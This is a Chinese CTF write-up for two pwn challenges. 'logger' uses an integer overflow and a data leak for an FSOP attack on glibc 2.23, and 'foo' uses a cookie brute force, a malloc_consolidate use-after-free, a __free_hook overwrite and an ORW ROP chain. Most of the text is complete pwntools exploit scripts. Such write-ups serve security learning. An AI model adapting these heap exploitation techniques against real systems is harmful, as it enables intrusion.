0x00 Summary
logger整数溢出+脏数据泄露。改bss上stderr指针为伪造的file结构体,2.23 FSOP攻击
foo:UAF,加Cookie检测,爆破出Cookie,然后利用scanf的trick进行malloc_consolidation来进行UAF,leak heap和libc,最后改hook为setcontext+0x35,orw读出flag
0x01 logger
IDA分析
第一个warning功能
第二个warning功能
第一个warning可以脏数据泄露libc或者栈地址,但是随后释放时通过memset就将数据清空了,PIE没开大概率和bss上数据有关联。
第二个warningOnce会将读取的字符数存放到任意位置。(如上图)
思路
这样我们就可以任意地址单字节写,在bss段伪造fake file,满足write_ptr>write_base,mode<=0即可进行FSOP攻击,vtable复写为写满one_gadget的地址,覆盖bss中stderr指针为伪造的fake file地址,最后通过exit控制程序流执行one_gadget。
exp
#coding=utf-8from pwn import *
debug = 1
context.terminal = ['tmux','split','-h']
context.log_level = "debug"
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
itv = lambda :p.interactive()
if debug:
p = process("./logger")
# p = process('./feedback',env={'LD_PRELOAD':'./libc-2.23.so'})
elf = ELF("./logger")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
else:
p = remote("39.105.35.195",12432)
elf = ELF("./logger")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
def warning(content):
sla("Exit\n","1")
sa("Content:\n",content)
def warningOnce(size,index):
sl("2")
if size==0:
sa("Content:\n","\x00")
else:
sa("Content:\n","1"*size)
sla("ID:\n",str(index))
def error(content):
sla("Exit:\n","3")
sa("Content:\n",content)
def exit():
sla("Exit:\n","4")
target_fake_file_addr = 0x67f900
stderr_file_addr = 0x67F7A0
index1 = 0x67F7A0-0x67F7B0
index2 = 0x67f900-0x67F7B0
# 第一个:fp->mode<=0 、 fp->IO_write_ptr>fp->_IO_write_base
#gdb.attach(p)
warning("1"*0x37+"\n")
p.recvuntil("1111111111111111111111111111111111111111111111111111111\n")
libc.address = u64(p.recv(6).ljust(8,"\x00"))-0x00007ffff637f299+0x7ffff6345000
success("libc address ==> "+hex(libc.address))
libc_static = 0x7ffff6345000
raw_input()
fake_file = p64(0x00000000fbad2087)+p64(0x00007ffff670a5c3+libc.address-libc_static)*3+p64(0)+p64(0x00007ffff670a5c3+libc.address-libc_static)*3
fake_file+= p64(0x00007ffff670a5c4+libc.address-libc_static)+p64(0)*4+p64(0x00007ffff670a620+libc.address-libc_static)
fake_file+= p64(2)+p64(0xffffffffffffffff)+p64(0)+p64(0x00007ffff670b770+libc.address-libc_static)
fake_file+= p64(0xffffffffffffffff)+p64(0)+p64(0x00007ffff6709660+libc.address-libc_static)+p64(0)*6+p64(0x67F7A0+0x240)+p64(libc.address+0xf1147)*10
new_target_fake = p64(target_fake_file_addr)
for i in range(len(new_target_fake)):
warningOnce(ord(new_target_fake[i]),index1+i)
# warningOnce()
for i in range(len(fake_file)):
warningOnce(ord(fake_file[i]),index2+i)
sleep(0.01)
# gdb.attach(p)
p.sendline("4")
p.interactive()
0x02 foo
查看文件
IDA分析
程序五个功能:create、edit、show、delete和guess
create:限制创建0x30大小的chunk,同时在heap_addr+0x28的位置赋值了一个cookie
edit:可以写0x30的数据,需要检查cookie是否一致
show:正常打印0x28的数据,需要cookie值
delete:删除chunk,漏洞存在于指针没有清空,但同样删除前会检测cookie的值
guess:create 0x190的chunk,进行检查cookie,其具体功能没有什么意义,但是create 0x190可以实现overlapping,同时进行UAF利用。
思路
首先我们想进行UAF,那么根据这几个功能的特点我们必须要知道cookie的值。我们可以通过create、edit、show这三个功能进行爆破得到cookie。
随后我们消耗空闲大于0x40的smallbin、0x40的fastbin,然后创建7个0x40的chunk,删除掉,利用scanf的特性输入大量数据使其分配一个大于smallbin阈值的chunk触发malloc_consolidation,此时这几个chunk将会合并分配给guess功能那个0x1a0的chunk,此时可以对这个大chunk进行编辑,在对应的位置写上cookie,再删除改fd,泄露libc(heap中有很多libc,malloc_consolidation合并的每个小chunk的fd都有libc地址)
最后再进行同样的UAF攻击改fd为free_hook,写setcontext+0x35,最后进行ORW读取flag
exp
#coding=utf-8
from pwn import *
debug = 1
context.terminal = ['tmux','split','-h']
context.update(arch="amd64",os="linux",log_level="debug")
se = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(delim, data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim, data)
sea = lambda delim,data :p.sendafter(delim, data)
rc = lambda numb=4096 :p.recv(numb)
rl = lambda :p.recvline()
ru = lambda delims :p.recvuntil(delims)
uu32 = lambda data :u32(data.ljust(4, '\x00'))
uu64 = lambda data :u64(data.ljust(8, '\x00'))
itv = lambda :p.interactive()
if debug:
p = process("./foo")
elf = ELF("./foo")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
else:
p = remote("124.70.197.50",9010)
elf = ELF("./foo")
libc = ELF("./libc.so")
def create(index):
sla("choice: ",str(1))
sla("Index: ",str(index))
def edit(index,content):
sla("choice: ",str(2))
sla("Index: ",str(index))
sa("Content: ",content)
def show(index):
sla("choice: ",str(3))
sla("Index: ",str(index))
def delete(index):
sla("choice: ",str(4))
sla("Index: ",str(index))
def guess(cookie):
sla("choice: ",str(5))
sa("cookie?",cookie)
def crack_cookie():
res = ""
for i in range(4):
for j in range(0x100):
create(0)
edit(0,'A'*0x28+res+p8(j))
show(0)
if "Content" in p.recv(10):
res += p8(j)
break
return res
cookie = crack_cookie()
success("Cookie ==> "+hex(u32(cookie)))
p.sendline("1"*0x1000)
for i in range(25):
create(0)
for i in range(15):
create(i)
for i in range(14):
delete(i)
p.sendline("1"*0x1000)
payload = ("a"*0x28+cookie+p32(0)+p64(0)+p64(0x41))*3
guess(payload)
delete(9)
delete(8)
payload ="a"*0x28+cookie+p32(0)+p64(0)+p64(0x41)+"\xd0"
guess(payload)
for i in range(7):
create(i)
create(8)
show(8)
p.recvuntil("Content: ")
heap_addr = u64(p.recv(6).ljust(8,"\x00"))
success("heap addr ==> "+hex(heap_addr))
target_heap = heap_addr+0x50
stack_heap = heap_addr-0x70
delete(8)
payload = "a"*0x28+cookie+p32(0)+p64(0)+p64(0x41)+p64(target_heap)
guess(payload)
create(8)
create(0)
show(0)
p.recvuntil("Content: ")
libc.address = u64(p.recv(6).ljust(8,"\x00"))-0x00007ffff7b83ca0+0x7ffff7798000
success("libc addr ==> "+hex(libc.address))
raw_input()
delete(1)
delete(2)
delete(8)
payload = "a"*0x28+cookie+p32(0)+p64(0)+p64(0x41)+p64(libc.sym['__free_hook'])
guess(payload)
create(8)
create(9)
edit(9,p64(libc.address+0x52145))
pop_rax = 0x0000000000043a77+libc.address
pop_rdi = 0x000000000002155f+libc.address
pop_rsi = 0x000000000013088a+libc.address
pop_rdx = 0x0000000000001ba6+libc.address
syscall = 0x00000000000d29d5+libc.address
gdb.attach(p)
payload = "./flag"+"\x00"*(0xa0-6)+p64(stack_heap+0xc0)+p64(pop_rax)
payload = payload.ljust(0xc0,"\x00")
payload+= flat([
2,pop_rdi,heap_addr-0x70,pop_rsi,0,syscall,
pop_rax,0,pop_rdi,3,pop_rsi,heap_addr+0x5a0,pop_rdx,0x20,syscall,
pop_rax,1,pop_rdi,1,pop_rsi,heap_addr+0x5a0,pop_rdx,0x20,syscall
])
guess(payload)
p.interactive()